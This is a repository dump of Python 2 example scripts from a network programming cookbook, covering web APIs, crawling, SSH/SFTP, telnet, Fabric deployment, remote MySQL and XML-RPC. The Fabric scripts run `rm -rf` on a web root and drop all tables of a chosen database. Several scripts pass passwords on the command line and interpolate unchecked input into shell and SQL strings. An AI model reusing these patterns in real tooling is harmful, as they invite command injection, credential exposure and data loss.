| 21 | # Get XML location from Google maps 22 | xml_str = urllib.urlopen(url).read() 23 | xml_doc = minidom.parseString(xml_str) 24 | 25 | if xml_doc.getElementsByTagName('status')[0].firstChild.nodeValue != 'OK': 26 | print '\nGoogle cannot interpret the city.' 27 | return 28 | else: 29 | # 默认取第一个数据 30 | lat = xml_doc.getElementsByTagName('lat')[0].firstChild.nodeValue 31 | lng = xml_doc.getElementsByTagName('lng')[0].firstChild.nodeValue 32 | print "Latitude/Longitude: %s/%s\n" % (lat, lng) 33 | 34 | if __name__ == '__main__': 35 | parser = argparse.ArgumentParser(description='City Geocode Search') 36 | parser.add_argument('--city', action="store", dest="city", required=True) 37 | given_args = parser.parse_args() 38 | 39 | print "Finding geographic coordinates of %s" % given_args.city 40 | find_lat_long(given_args.city) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 6/google_stock_quote.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用谷歌搜索股价 4 | 5 | import argparse 6 | import urllib 7 | import re 8 | from datetime import datetime 9 | 10 | SEARCH_URL = 'http://finance.google.com/finance?q=' 11 | 12 | def get_quote(symbol): 13 | content = urllib.urlopen(SEARCH_URL + symbol).read() 14 | m = re.search('Pre-market: (.*?)', content) 15 | if m: 16 | quote = m.group(1) 17 | else: 18 | quote = 'No quote available for: ' + symbol 19 | return quote 20 | 21 | if __name__ == '__main__': 22 | parser = argparse.ArgumentParser(description='Stock quote search') 23 | parser.add_argument('--symbol', action="store", dest="symbol", required=True) 24 | given_args = parser.parse_args() 25 | print "Searching stock quote for symbol '%s'" % given_args.symbol 26 | print "Stock quote for %s at %s: %s" % (given_args.symbol, datetime.today(), get_quote(given_args.symbol)) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 6/python_link_crawler.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 爬取网页中的链接 4 | 5 | import argparse 6 | import sys 7 | import httplib 8 | import re 9 | 10 | processed = [] 11 | 12 | def search_links(url, depth, search): 13 | # Process http links that are not processed yet 14 | url_is_processed = (url in processed) 15 | if (url.startswith("http://") and (not url_is_processed)): 16 | processed.append(url) 17 | url = host = url.replace("http://", "", 1) 18 | print 'url', url 19 | path = "/" 20 | 21 | urlparts = url.split("/") 22 | if (len(urlparts) > 1): 23 | host = urlparts[0] 24 | path = url.replace(host, "", 1) 25 | print host, path 26 | 27 | # Start crawing 28 | print "Crawling URL path: %s%s " % (host, path) 29 | conn = httplib.HTTPConnection(host) 30 | req = conn.request("GET", path) 31 | result = conn.getresponse() 32 | 33 | # Find the links 34 | contents = result.read() 35 | all_links = re.findall('href="(.*?)"', contents) 36 | 37 | if (search in contents): 38 | print "Found " + search + " at " + url 39 | 40 | print " ==> %s: processing %s links" % (str(depth), str(len(all_links))) 41 | for href in all_links: 42 | # Find relative urls 43 | if (href.startswith("/")): 44 | href = "http://" + host + href 45 | 46 | # Recurse links 47 | if (depth > 0): 48 | search_links(href, depth-1, search) 49 | else: 50 | print "Skipping link: %s ..." % url 51 | 52 | if __name__ == '__main__': 53 | parser = argparse.ArgumentParser(description='Webpage link crawler') 54 | parser.add_argument('--url', action="store", dest="url", required=True) 55 | parser.add_argument('--query', action="store", dest="query", required=True) 56 | parser.add_argument('--depth', action="store", dest="depth", default=2) 57 | 58 | given_args = parser.parse_args() 59 | 60 | try: 61 | search_links(given_args.url, given_args.depth,given_args.query) 62 | except KeyboardInterrupt: 63 | print "Aborting search by user request." -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 6/read_bbc_news_feed.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 读取 BBC 的新闻订阅源 4 | 5 | from datetime import datetime 6 | import feedparser 7 | 8 | BBC_FEED_URL = 'http://feeds.bbci.co.uk/news/%s/rss.xml' 9 | 10 | def read_news(feed_url): 11 | try: 12 | data = feedparser.parse(feed_url) 13 | except Exception, e: 14 | print "Got error: %s" % str(e) 15 | 16 | for entry in data.entries: 17 | # Windows 因为终端字符集(字体)问题可能无法打印输出 18 | print entry.title 19 | print entry.link 20 | print entry.description 21 | print '' 22 | 23 | if __name__ == '__main__': 24 | print "==== Reading technology news feed from bbc.co.uk (%s)====" % datetime.today() 25 | print "Enter the type of news feed: " 26 | print "Available options are: world, uk, health, sci-tech, business, technology" 27 | type = raw_input("News feed type:") 28 | read_news(BBC_FEED_URL % type) 29 | print "==== End of BBC news feed =====" -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 6/search_article_in_wikipedia.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 搜索维基百科中的文章 4 | 5 | import argparse 6 | import re 7 | import urllib 8 | import urllib2 9 | import json 10 | import sys 11 | 12 | SEARCH_URL = 'http://%s.wikipedia.org/w/api.php?action=query&list=search&srsearch=%s&sroffset=%d&srlimit=%d&format=json' 13 | 14 | class Wikipedia: 15 | def __init__(self, lang='en'): 16 | self.lang = lang 17 | 18 | def _get_content(self, url): 19 | print url 20 | request = urllib2.Request(url) 21 | request.add_header('User-Agent', 'Mozilla/20.0') 22 | 23 | try: 24 | result = urllib2.urlopen(request) 25 | except urllib2.HTTPError, e: 26 | print "HTTP Error:%s" % (e.reason) 27 | except Exception, e: 28 | print "Error occured: %s" % str(e) 29 | return result 30 | 31 | def search_content(self, query, page=1, limit=10): 32 | offset = (page - 1) * limit 33 | url = SEARCH_URL % (self.lang, urllib.quote_plus(query), offset, limit) 34 | json_str = self._get_content(url).read() 35 | data = json.loads(json_str) 36 | 37 | search = data['query']['search'] 38 | if not search: 39 | return 40 | 41 | results = [] 42 | for article in search: 43 | snippet = article['snippet'] 44 | snippet = re.sub(r'(?m)<.*?>', '', snippet) 45 | snippet = re.sub(r'\s+', ' ', snippet) 46 | snippet = snippet.replace('"', '"') 47 | snippet = snippet.replace(' . ', '. ') 48 | snippet = snippet.replace(' , ', ', ') 49 | snippet = snippet.strip() 50 | 51 | results.append({ 52 | 'title' : article['title'].strip(), 53 | 'snippet' : snippet 54 | }) 55 | print results 56 | return results 57 | 58 | if __name__ == '__main__': 59 | parser = argparse.ArgumentParser(description='Wikipedia search') 60 | parser.add_argument('--query', action="store", dest="query", required=True) 61 | given_args = parser.parse_args() 62 | wikipedia = Wikipedia() 63 | search_term = given_args.query 64 | print "Searching Wikipedia for %s" % search_term 65 | results = wikipedia.search_content(search_term) 66 | print "Listing %s search results..." % len(results) 67 | 68 | # Windows 因为终端字符集(字体)问题可能无法打印输出 69 | for result in results: 70 | print "==%s== \n \t%s" % (result['title'], result['snippet']) 71 | print "---- End of search results ----" -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 6/search_business_addr.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用谷歌地图 API 搜索公司地址 4 | 5 | from pygeocoder import Geocoder 6 | 7 | def search_business(business_name): 8 | results = Geocoder.geocode(business_name) 9 | 10 | for result in results: 11 | print result 12 | 13 | if __name__ == '__main__': 14 | business_name = "Argos Ltd, London" 15 | print "Searching %s" % business_name 16 | search_business(business_name) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 6/search_code_github.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 搜索 GitHub 中的源代码仓库 4 | 5 | import argparse 6 | import requests 7 | import json 8 | 9 | SEARCH_URL_BASE = 'https://api.github.com/repos' 10 | 11 | def search_repository(author, repo, search_for='homepage'): 12 | url = "%s/%s/%s" % (SEARCH_URL_BASE, author, repo) 13 | print "Searching Repo URL: %s" % url 14 | result = requests.get(url) 15 | if result.ok: 16 | repo_info = json.loads(result.text or result.content) 17 | # print repo_info 18 | print "Github repository info for: %s" % repo 19 | result = "No result found!" 20 | keys = [] 21 | for key, value in repo_info.iteritems(): 22 | if search_for in key: 23 | result = value 24 | return result 25 | 26 | if __name__ == '__main__': 27 | parser = argparse.ArgumentParser(description='Github search') 28 | parser.add_argument('--author', action="store", dest="author", required=True) 29 | parser.add_argument('--repo', action="store", dest="repo", required=True) 30 | parser.add_argument('--search_for', action="store", dest="search_for", required=True) 31 | 32 | given_args = parser.parse_args() 33 | result = search_repository(given_args.author, given_args.repo, given_args.search_for) 34 | if isinstance(result, dict): 35 | print "Got result for '%s'..." % (given_args.search_for) 36 | for key, value in result.iteritems(): 37 | print "%s => %s" % (key, value) 38 | else: 39 | print "Got result for %s: %s" % (given_args.search_for, result) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 7/configure_apache_for_hosting_website_remotely.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 远程配置 Apache 运行网站 4 | 5 | # ln -s configure_apache_for_hosting_website_remotely.py fabfile.py 6 | 7 | from getpass import getpass 8 | from fabric.api import env, put, sudo, prompt 9 | from fabric.contrib.files import exists 10 | 11 | WWW_DOC_ROOT = "/data/apache/test/" 12 | WWW_USER = "www-data" 13 | WWW_GROUP = "www-data" 14 | APACHE_SITES_PATH = "/etc/apache2/sites-enabled/" 15 | APACHE_INIT_SCRIPT = "/etc/init.d/apache2" 16 | 17 | def remote_server(): 18 | env.hosts = ['127.0.0.1'] 19 | env.user = prompt('Enter user name: ') 20 | env.password = getpass('Enter your system password: ') 21 | 22 | def setup_vhost(): 23 | """Setup a test website""" 24 | print "Preparing the Apache vhost setup..." 25 | print "Setting up the document root..." 26 | if exists(WWW_DOC_ROOT): 27 | sudo("rm -rf %s" % WWW_DOC_ROOT) 28 | sudo("mkdir -p %s" % WWW_DOC_ROOT) 29 | sudo("chown -R %s.%s %s" % (env.user, env.user, WWW_DOC_ROOT)) 30 | put(local_path="index.html", remote_path=WWW_DOC_ROOT) 31 | sudo("chown -R %s.%s %s" % (WWW_USER, WWW_GROUP, WWW_DOC_ROOT)) 32 | print "Setting up the vhost..." 33 | sudo("chown -R %s.%s %s" % (env.user, env.user, APACHE_SITES_PATH)) 34 | put(local_path="vhost.conf", remote_path=APACHE_SITES_PATH) 35 | sudo("chown -R %s.%s %s" % ('root', 'root', APACHE_SITES_PATH)) 36 | sudo("%s restart" % APACHE_INIT_SCRIPT) 37 | print "Setup complete. Now open the server path http://abc.remote-server.org/ in your web browser." -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 7/copy_remote_file_over_sftp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 sftp 把文件复制到远程设备中 4 | 5 | import argparse 6 | import paramiko 7 | import getpass 8 | 9 | SOURCE = 'copy_remote_file_over_sftp.py' 10 | DESTINATION = '/tmp/copy_remote_file_over_sftp.py' 11 | 12 | def copy_file(hostname, port, username, password, src, dst): 13 | client = paramiko.SSHClient() 14 | client.load_system_host_keys() 15 | print "Connecting to %s \n with username=%s... \n" % (hostname, username) 16 | t = paramiko.Transport((hostname, port)) 17 | t.connect(username=username, password=password) 18 | sftp = paramiko.SFTPClient.from_transport(t) 19 | print "Copying file: %s to path: %s" %(src, dst) 20 | sftp.put(src, dst) 21 | sftp.close() 22 | t.close() 23 | 24 | if __name__ == '__main__': 25 | parser = argparse.ArgumentParser(description='Remote file copy') 26 | parser.add_argument('--host', action="store", dest="host", default='localhost') 27 | parser.add_argument('--port', action="store", dest="port", default=22, type=int) 28 | parser.add_argument('--src', action="store", dest="src", default=SOURCE) 29 | parser.add_argument('--dst', action="store", dest="dst", default=DESTINATION) 30 | 31 | given_args = parser.parse_args() 32 | hostname, port = given_args.host, given_args.port 33 | src, dst = given_args.src, given_args.dst 34 | 35 | username = raw_input("Enter the username:") 36 | password = getpass.getpass("Enter password for %s: " % username) 37 | 38 | copy_file(hostname, port, username, password, src, dst) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 7/execute_remote_telnet_cmd.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 telnet 在远程主机中执行 shell 命令 4 | 5 | import getpass 6 | import sys 7 | import telnetlib 8 | 9 | HOST = "localhost" 10 | 11 | def run_telnet_session(): 12 | user = raw_input("Enter your remote account: ") 13 | password = getpass.getpass() 14 | 15 | session = telnetlib.Telnet(HOST) 16 | 17 | session.read_until("login: ") 18 | session.write(user + "\n") 19 | if password: 20 | session.read_until("Password: ") 21 | session.write(password + "\n") 22 | 23 | session.write("ls\n") 24 | session.write("exit\n") 25 | 26 | print session.read_all() 27 | 28 | if __name__ == '__main__': 29 | run_telnet_session() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 7/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |

It works!

4 |

This is the default web page for this server.

5 |

The web server software is running but no content has been added, yet.

6 | 7 | -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 7/install_python_package_remotely.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 在远程主机中安装 Python 包 4 | 5 | # ln -s install_python_package_remotely.py fabfile.py 6 | 7 | from getpass import getpass 8 | from fabric.api import settings, run, env, prompt 9 | 10 | def remote_server(): 11 | env.hosts = ['127.0.0.1'] 12 | env.user = prompt('Enter user name: ') 13 | env.password = getpass('Enter password: ') 14 | 15 | def install_package(): 16 | run("pip install yolk") -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 7/print_remote_cpu_info.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 打印远程设备的 CPU 信息 4 | 5 | import argparse 6 | import getpass 7 | import paramiko 8 | 9 | RECV_BYTES = 4096 10 | COMMAND = 'cat /proc/cpuinfo' 11 | 12 | def print_remote_cpu_info(hostname, port, username, password): 13 | client = paramiko.Transport((hostname, port)) 14 | client.connect(username=username, password=password) 15 | 16 | stdout_data = [] 17 | stderr_data = [] 18 | session = client.open_channel(kind='session') 19 | session.exec_command(COMMAND) 20 | while True: 21 | if session.recv_ready(): 22 | stdout_data.append(session.recv(RECV_BYTES)) 23 | if session.recv_stderr_ready(): 24 | stderr_data.append(session.recv_stderr(RECV_BYTES)) 25 | if session.exit_status_ready(): 26 | break 27 | 28 | print 'exit status: ', session.recv_exit_status() 29 | print ''.join(stdout_data) 30 | print ''.join(stderr_data) 31 | 32 | session.close() 33 | client.close() 34 | 35 | if __name__ == '__main__': 36 | parser = argparse.ArgumentParser(description='Remote file copy') 37 | parser.add_argument('--host', action="store", dest="host", default='localhost') 38 | parser.add_argument('--port', action="store", dest="port", default=22, type=int) 39 | given_args = parser.parse_args() 40 | hostname, port = given_args.host, given_args.port 41 | 42 | username = raw_input("Enter the username:") 43 | password = getpass.getpass("Enter password for %s: " %username) 44 | print_remote_cpu_info(hostname, port, username, password) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 7/run_mysql_command_remotely.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 在远程主机中运行 MySQL 命令 4 | 5 | # ln -s run_mysql_command_remotely.py fabfile.py 6 | 7 | from getpass import getpass 8 | from fabric.api import run, env, prompt, cd 9 | 10 | def remote_server(): 11 | env.hosts = ['127.0.0.1'] 12 | env.user = prompt('Enter your system username: ') 13 | env.password = getpass('Enter your system user password: ') 14 | env.mysqlhost = 'localhost' 15 | env.mysqluser = prompt('Enter your db username: ') 16 | env.mysqlpassword = getpass('Enter your db user password: ') 17 | env.db_name = '' 18 | 19 | def show_dbs(): 20 | """Wraps mysql show databases cmd""" 21 | q = "show databases" 22 | run("echo '%s' | mysql -u%s -p%s" % (q, env.mysqluser, env.mysqlpassword)) 23 | 24 | def run_sql(db_name, query): 25 | """Generic function to run sql""" 26 | with cd('/tmp'): 27 | run("echo '%s' | mysql -u%s -p%s -D %s" % (query, env.mysqluser, env.mysqlpassword, db_name)) 28 | 29 | def create_db(): 30 | """Create a MySQL DB for App version""" 31 | if not env.db_name: 32 | db_name = prompt("Enter the DB name: ") 33 | else: 34 | db_name = env.db_name 35 | run('echo "CREATE DATABASE %s default character set utf8 collate utf8_unicode_ci;" | mysql --batch --user=%s --password=%s --host=%s' % (db_name, env.mysqluser, env.mysqlpassword, env.mysqlhost), pty=True) 36 | 37 | def ls_db(): 38 | """List a dbs with size in MB""" 39 | if not env.db_name: 40 | db_name = prompt("Which DB to ls?") 41 | else: 42 | db_name = env.db_name 43 | query = """SELECT table_schema "DB Name", Round(Sum(data_length + index_length)/1024/1024, 1) "DB Size in MB" FROM information_schema.tables WHERE table_schema = \"%s\" GROUP BY table_schema""" % db_name 44 | run_sql(db_name, query) 45 | 46 | def empty_db(): 47 | """Empty all tables of a given DB""" 48 | db_name = prompt("Enter DB name to empty:") 49 | cmd = """(echo 'SET foreign_key_checks = 0;'; (mysqldump -u%s -p%s --add-drop-table --no-data %s | grep ^DROP); echo 'SET foreign_key_checks = 1;') | mysql -u%s -p%s -b %s""" % (env.mysqluser, env.mysqlpassword, db_name, env.mysqluser, env.mysqlpassword, db_name) 50 | run(cmd) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 7/transfer_file_over_ssh.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 通过 SSH 把文件传输到远程设备中 4 | 5 | # ln -s transfer_file_over_ssh.py fabfile.py 6 | 7 | from getpass import getpass 8 | from fabric.api import local, run, env, get, put, prompt, open_shell 9 | 10 | def remote_server(): 11 | env.hosts = ['127.0.0.1'] 12 | env.password = getpass('Enter your system password: ') 13 | env.home_folder = '/tmp' 14 | 15 | def login(): 16 | open_shell(command="cd %s" % env.home_folder) 17 | 18 | def download_file(): 19 | print "Checking local disk space..." 20 | local("df -h") 21 | remote_path = prompt("Enter the remote file path: ") 22 | local_path = prompt("Enter the local file path: ") 23 | get(remote_path=remote_path, local_path=local_path) 24 | local("ls %s" % local_path) 25 | 26 | def upload_file(): 27 | print "Checking remote disk space..." 28 | run("df -h") 29 | local_path = prompt("Enter the local file path: ") 30 | remote_path = prompt("Enter the remote file path: ") 31 | put(remote_path=remote_path, local_path=local_path) 32 | run("ls %s" % remote_path) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 7/vhost.conf: -------------------------------------------------------------------------------- 1 | UseCanonicalName Off 2 | 3 | LogFormat "%V %h %l %u %t \"%r\" %s %b" vcommon 4 | 5 | 6 | ServerName abc.remote-server.org 7 | ServerAlias * 8 | DocumentRoot /data/apache/test/ 9 | # Insert logging config, anything else you need... 10 | 11 | Order Allow,Deny 12 | Allow from all 13 | AllowOverride None 14 | Require all granted 15 | 16 | 17 | -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 8/get_flickr_photo_info.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 REST 从 Flickr 中收集一些照片信息 4 | 5 | import argparse 6 | import json 7 | import requests 8 | 9 | try: 10 | from local_settings import flickr_apikey 11 | except ImportError: 12 | pass 13 | 14 | def collect_photo_info(api_key, tag, max_count): 15 | """Collects some interesting info about some photos from Flickr.com for a given tag""" 16 | photo_collection = [] 17 | url = "https://api.flickr.com/services/rest/?method=flickr.photos.search&tags=%s&format=json&nojsoncallback=1&api_key=%s" % (tag, api_key) 18 | resp = requests.get(url) 19 | results = resp.json() 20 | count = 0 21 | for p in results['photos']['photo']: 22 | if count >= max_count: 23 | return photo_collection 24 | print 'Processing photo: "%s"' % p['title'] 25 | photo = {} 26 | url = "https://api.flickr.com/services/rest/?method=flickr.photos.getInfo&photo_id=" + p['id'] + "&format=json&nojsoncallback=1&api_key=" + api_key 27 | info = requests.get(url).json() 28 | photo["flickrid"] = p['id'] 29 | photo["title"] = info['photo']['title']['_content'] 30 | photo["description"] = info['photo']['description']['_content'] 31 | photo["page_url"] = info['photo']['urls']['url'][0]['_content'] 32 | photo["farm"] = info['photo']['farm'] 33 | photo["server"] = info['photo']['server'] 34 | photo["secret"] = info['photo']['secret'] 35 | 36 | # Comments 37 | numcomments = int(info['photo']['comments']['_content']) 38 | # print "comment's number: ", str(numcomments) 39 | if numcomments: 40 | # print "Now reading comments (%d)..." % numcomments 41 | url = "https://api.flickr.com/services/rest/?method=flickr.photos.comments.getList&photo_id=" + p['id'] + "&format=json&nojsoncallback=1&api_key=" + api_key 42 | print url 43 | comments = requests.get(url).json() 44 | photo["comment"] = [] 45 | for c in comments['comments']['comment']: 46 | comment = {} 47 | comment["body"] = c['_content'] 48 | comment["authorid"] = c['author'] 49 | comment["authorname"] = c['authorname'] 50 | photo["comment"].append(comment) 51 | photo_collection.append(photo) 52 | count = count + 1 53 | return photo_collection 54 | 55 | if __name__ == '__main__': 56 | parser = argparse.ArgumentParser(description='Get photo info from Flickr') 57 | parser.add_argument('--api-key', action="store", dest="api_key", default=flickr_apikey) 58 | parser.add_argument('--tag', action="store", dest="tag", default='Python') 59 | parser.add_argument('--max-count', action="store", dest="max_count", default=3, type=int) 60 | # Parse arguments 61 | given_args = parser.parse_args() 62 | api_key, tag, max_count = given_args.api_key, given_args.tag, given_args.max_count 63 | photo_info = collect_photo_info(api_key, tag, max_count) 64 | print '-' * 50 65 | for photo in photo_info: 66 | for k, v in photo.iteritems(): 67 | if k == "comment": 68 | "\tPhoto got %s comments." % len(v) 69 | else: 70 | print "%s => %s" % (k, v) 71 | print '-' * 50 -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 8/local_settings.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # API 相关信息 4 | 5 | # Amazon API 6 | amazon_account = {'access_key': '', 'secret_key': '', 'affiliate_id': ''} 7 | 8 | # Google Custom Search API 9 | google_custom_search_api = {'key': '', 'cx': ''} 10 | 11 | # Flickr API 12 | flickr_apikey = '' -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 8/multithreaded_multicall_xmlrpc_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 编写一个多线程、多调用 XML-RPC 服务器 4 | 5 | import argparse 6 | import xmlrpclib 7 | import threading 8 | from SimpleXMLRPCServer import SimpleXMLRPCServer 9 | 10 | # Some trivial functions 11 | def add(x, y): 12 | return x + y 13 | 14 | def subtract(x, y): 15 | return x - y 16 | 17 | def multiply(x, y): 18 | return x * y 19 | 20 | def divide(x, y): 21 | return x / y 22 | 23 | class ServerThread(threading.Thread): 24 | def __init__(self, server_addr): 25 | threading.Thread.__init__(self) 26 | self.server = SimpleXMLRPCServer(server_addr) 27 | self.server.register_multicall_functions() 28 | self.server.register_function(add, 'add') 29 | self.server.register_function(subtract, 'subtract') 30 | self.server.register_function(multiply, 'multiply') 31 | self.server.register_function(divide, 'divide') 32 | 33 | def run(self): 34 | self.server.serve_forever() 35 | 36 | def run_server(host, port): 37 | # Server code 38 | server_addr = (host, port) 39 | server = ServerThread(server_addr) 40 | server.start() # The server is now running 41 | print "Server thread started. Testing the server..." 42 | 43 | def run_client(host, port): 44 | # Client code 45 | proxy = xmlrpclib.ServerProxy("http://%s:%s/" % (host, port)) 46 | multicall = xmlrpclib.MultiCall(proxy) 47 | multicall.add(7,3) 48 | multicall.subtract(7,3) 49 | multicall.multiply(7,3) 50 | multicall.divide(7,3) 51 | result = multicall() 52 | print "7+3=%d, 7-3=%d, 7*3=%d, 7/3=%d" % tuple(result) 53 | 54 | if __name__ == '__main__': 55 | parser = argparse.ArgumentParser(description='Multithreaded multicall XMLRPC Server/Proxy') 56 | parser.add_argument('--host', action="store", dest="host", default='localhost') 57 | parser.add_argument('--port', action="store", dest="port", default=8000, type=int) 58 | # Parse arguments 59 | given_args = parser.parse_args() 60 | host, port = given_args.host, given_args.port 61 | run_server(host, port) 62 | run_client(host, port) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 8/query_supervisord_xmlrpc_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 查询本地 XML-RPC 服务器 4 | 5 | import supervisor.xmlrpc 6 | import xmlrpclib 7 | 8 | def query_supervisr(sock): 9 | transport = supervisor.xmlrpc.SupervisorTransport(None, None, 'unix://%s' % sock) 10 | proxy = xmlrpclib.ServerProxy('http://127.0.0.1', transport=transport) 11 | print "Getting info about all running processes via Supervisord..." 12 | print proxy.supervisor.getAllProcessInfo() 13 | 14 | if __name__ == '__main__': 15 | query_supervisr(sock='/tmp/supervisor.sock') -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 8/search_amazon_for_books.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 通过商品搜索 API 在亚马逊中搜索图书 4 | 5 | import argparse 6 | import bottlenose 7 | from xml.dom import minidom as xml 8 | 9 | # https://affiliate-program.amazon.com 10 | 11 | try: 12 | from local_settings import amazon_account 13 | except ImportError: 14 | pass 15 | 16 | ACCESS_KEY = amazon_account['access_key'] 17 | SECRET_KEY = amazon_account['secret_key'] 18 | AFFILIATE_ID = amazon_account['affiliate_id'] 19 | 20 | def search_for_books(tag, index): 21 | """Search Amazon for Books""" 22 | amazon = bottlenose.Amazon(ACCESS_KEY, SECRET_KEY, AFFILIATE_ID) 23 | results = amazon.ItemSearch(SearchIndex=index, Sort="relevancerank", Keywords=tag) 24 | parsed_result = xml.parseString(results) 25 | 26 | all_items = [] 27 | attrs = ['Title','Author', 'URL'] 28 | 29 | for item in parsed_result.getElementsByTagName('Item'): 30 | parse_item = {} 31 | 32 | for attr in attrs: 33 | parse_item[attr] = "" 34 | try: 35 | parse_item[attr] = item.getElementsByTagName(attr)[0].childNodes[0].data 36 | except: 37 | pass 38 | all_items.append(parse_item) 39 | return all_items 40 | 41 | if __name__ == '__main__': 42 | parser = argparse.ArgumentParser(description='Search info from Amazon') 43 | parser.add_argument('--tag', action="store", dest="tag", default='Python') 44 | parser.add_argument('--index', action="store", dest="index", default='Books') 45 | # Parse arguments 46 | given_args = parser.parse_args() 47 | books = search_for_books(given_args.tag, given_args.index) 48 | 49 | for book in books: 50 | for k, v in book.iteritems(): 51 | print "%s: %s" % (k, v) 52 | print "-" * 80 -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 8/search_amazonaws_with_soap.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 找出 Amazon S3 Web 服务支持的 SOAP 方法 4 | 5 | # SOAPpy 0.12.22 BUG: 6 | # NameError: global name 'logging' is not defined 7 | # Solution: 8 | # pip install logging 9 | # File --- /usr/local/lib/python2.7/dist-packages/wstools/WSDLTools.py 10 | # Add a line --- import logging 11 | 12 | import SOAPpy 13 | 14 | TEST_URL = 'http://s3.amazonaws.com/ec2-downloads/2009-04-04.ec2.wsdl' 15 | 16 | def list_soap_methods(url): 17 | proxy = SOAPpy.WSDL.Proxy(url) 18 | print '%d methods in WSDL:' % len(proxy.methods) + '\n' 19 | for key in proxy.methods.keys(): 20 | print "Key Name: %s" % key 21 | print "Key Details:" 22 | for k,v in proxy.methods[key].__dict__.iteritems(): 23 | print "%s ==> %s" % (k, v) 24 | break 25 | 26 | if __name__ == '__main__': 27 | list_soap_methods(TEST_URL) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 8/search_products_from_google.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用谷歌搜索定制信息 4 | 5 | import argparse 6 | import json 7 | import urllib 8 | import requests 9 | 10 | # https://cse.google.com/all 11 | # https://console.developers.google.com/flows/enableapi?apiid=customsearch&credential=client_key 12 | 13 | try: 14 | from local_settings import google_custom_search_api 15 | except ImportError: 16 | pass 17 | 18 | key = google_custom_search_api['key'] 19 | cx = google_custom_search_api['cx'] 20 | 21 | BASE_URL = 'https://www.googleapis.com/customsearch/v1?key=%s&cx=%s&q=' % (key, cx) 22 | 23 | def get_search_url(query): 24 | return "%s%s" % (BASE_URL, query) 25 | 26 | def search_info(tag): 27 | query = urllib.urlencode({'q': tag}) 28 | url = get_search_url(query) 29 | response = requests.get(url) 30 | results = response.json() 31 | 32 | print 'Found total results: %s' % results['searchInformation']['totalResults'] 33 | hits = results['items'] 34 | print 'Found top %d hits:' % len(hits) 35 | for h in hits: 36 | print ' ', h['link'] 37 | print 'More results available from %s&start=%s' % (get_search_url(query), str(results['queries']['nextPage'][0]['startIndex'])) 38 | 39 | if __name__ == '__main__': 40 | parser = argparse.ArgumentParser(description='Search info from Google') 41 | parser.add_argument('--tag', action="store", dest="tag", default='Python books') 42 | # Parse arguments 43 | given_args = parser.parse_args() 44 | search_info(given_args.tag) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 8/supervisord.conf: -------------------------------------------------------------------------------- 1 | [unix_http_server] 2 | file=/tmp/supervisor.sock ; (the path to the socket file) 3 | chmod=0700 ; socket file mode (default 0700) 4 | 5 | [supervisord] 6 | logfile=/tmp/supervisord.log ; (main log file;default $CWD/supervisord.log) 7 | loglevel=info ; (log level;default info; others: debug,warn,trace) 8 | pidfile=/tmp/supervisord.pid ; (supervisord pidfile;default supervisord.pid) 9 | nodaemon=true ; (start in foreground if true;default false) 10 | minfds=1024 ; (min. avail startup file descriptors;default 1024) 11 | minprocs=200 ; (min. avail process descriptors;default 200) 12 | 13 | [rpcinterface:supervisor] 14 | supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface 15 | 16 | [program:multithreaded_multicall_xmlrpc_server.py] 17 | command=python multithreaded_multicall_xmlrpc_server.py ; the program (relative uses PATH, can take args) 18 | process_name=%(program_name)s ; process_name expr (default %(program_name)s) 19 | -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 8/xmlrpc_client.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | 